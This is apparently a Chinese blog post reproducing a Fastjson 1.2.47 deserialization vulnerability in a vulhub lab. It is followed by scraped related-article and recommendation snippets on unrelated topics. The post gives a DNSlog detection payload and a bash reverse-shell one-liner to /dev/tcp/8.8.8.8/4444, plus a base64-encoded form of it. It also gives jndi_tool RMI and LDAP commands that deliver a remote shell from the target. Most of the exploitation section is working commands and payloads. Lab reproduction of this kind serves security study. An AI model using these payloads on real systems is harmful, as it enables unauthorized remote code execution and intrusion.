FastJson漏洞复现
FastJson漏洞复现
环境:vulhub/fastjson
Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。
它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。
漏洞发现
- 出现
json格式的地方,就可能使用FastJsson
1.通过报错页面可以识别使用FastJsson

2.再通过DNSlog平台确认存在漏洞
- 打开DNSlog平台成临时子域名:http://dnslog.cn/

- bp抓包,将请求体改为以下内容并发送,发现返回DNS地址
{
"@type":"java.net.Inet4Address",
"val":"qoxjdd.dnslog.cn"
}

FastJs0n-1.2.47(反序列化)
原理:
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本:
Fastjson1.2.48之前
这里直接利用工具jndi_tool(需要jdk8环境)
https://github.com/wyzxxz/jndi_tool
利用一:JNDI注入+RMI
JNDl(The Java Naming and Directory Interface,Java 命名和目录接口):一组在 Java 应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得可以用名称访问对象。
RMI:Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。
- 反弹shell语句为:
bash -i >& /dev/tcp/8.8.8.8/4444 0>&1
- 在java中需要对其进行base64编码(大括号内不能有空格):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
- 使用工具生成payload,并开启
9999端口的监听:
java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

- 把payload通过bp发送给靶机,注意必须更改为
POST请求和Content-Type

- 攻击机开启端口监听,即可收到shell

利用二:JNDI注入+LDAP
LDAP是轻量级目录访问协议
- 基本用法不变,只是将
jndi.HRMIServer改为jndi.HLDAPServer
java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

- 把payload通过bp发送给靶机,注意必须更改为
POST请求和Content-Type

- 攻击机开启端口监听,即可收到shell

其他利用工具:
[]:https://github.com/mbechler/marshalsec
FastJson漏洞复现的更多相关文章
- fastjson =< 1.2.47 反序列化漏洞复现
fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...
- Fastjson <=1.2.62 远程代码执行-漏洞复现
影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = "{\"@type\":\"org.apa ...
- Fastjson远程代码执行漏洞复现
fastjson漏洞简介 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式.它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令 ...
- fastjson<=1.2.47反序列化漏洞复现
0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...
- Fastjson反序列化漏洞复现
Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...
- Fastjson1.2.24RCE漏洞复现
Fastjson1.2.24RCE漏洞复现 环境搭建 这里用的Vulhub靶场 cd /vulhub/fastjson/1.2.24-rce docker-compose up -d 报错 ERROR ...
- 漏洞复现-fastjson1.2.24-RCE
0x00 实验环境 攻击机:Win 10.Win Server2012 R2(公网环境,恶意java文件所在服务器) 靶机也可作为攻击机:Ubuntu18 (公网环境,docker ...
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
随机推荐
- c程序设计语言 by K&R(三)结构
一.类型定义 typedef typedef int Length; typedef char* String; typedef struct tnode* Treeptr; typedef int ...
- ChatGPT介绍与使用场景
ChatGPT是OpenAI开发的一款基于GPT-3和GPT-4的人工智能聊天机器人."GPT"代表的是"Generative Pre-trained Transform ...
- JS常见的API扩展形式(prototype、jquery、vue插件封装)以及怎样设计出易扩展的表单验证功能?
常见的API扩展形式 prototype 比如我现在有一个需求,给定一个字符串,给方法传递一个参数为数字类型来确定当前字符串重复次数,例如: 'abc'.repeatStringNumTimes(3) ...
- SpringMVC——SSM整合-异常处理器
异常处理器 出现异常的常见位置与常见诱因: 框架内部抛出的异常:因使用不合规导致 数据层抛出异常:因外部服务器故障导致(例如:服务器访问超时) 业务层抛出的异常:因业务逻辑书写错误导致(例如:遍历业务 ...
- 【linux】【docker】Docker默认网段配置导致无法访问
背景 集团有N个基地,所有基地的网络使用的是172.x.x.x网段,这本身没有什么问题!但Docker默认的桥接网段也是172.17.x.x的,如果不修改docker的默认配置会导致个别基地无法访问! ...
- [kubernetes]二进制方式部署单机k8s-v1.30.5
前言 之前在单机测试k8s的kind最近故障了,虚拟机运行个几分钟后就宕机了,不知道是根因是什么,而且kind部署k8s不太好做一些个性化配置,干脆用二进制方式重新搭一个单机k8s. 因为是用来开发测 ...
- Android usb广播 ACTION_USB_DEVICE_ATTACHED流程源码分析
整体流程图 大概意思就是UsbHostManager启动监控线程,monitorUsbHostBus会调用usb_host_run函数(使用inotify来监听USB设备的插拔)不停的读取bus总线, ...
- ARM SMMU 与 IOMMU 的区别
ARM SMMU (System Memory Management Unit) 和 IOMMU (Input-Output Memory Management Unit) 都是用于管理系统内存访问和 ...
- vagrant文件基础配置
Vagrant.configure("2") do |config| config.vm.box = "centos7" # box 名称 config.vm. ...
- feign在服务间传递header
场景: 用户登陆后,再次访问网页,将用户信息loginToken放在request的header中,首先经过网关,然后到达A服务,然后A服务调用B服务时如何把loginToken传递给B服务 1.修改 ...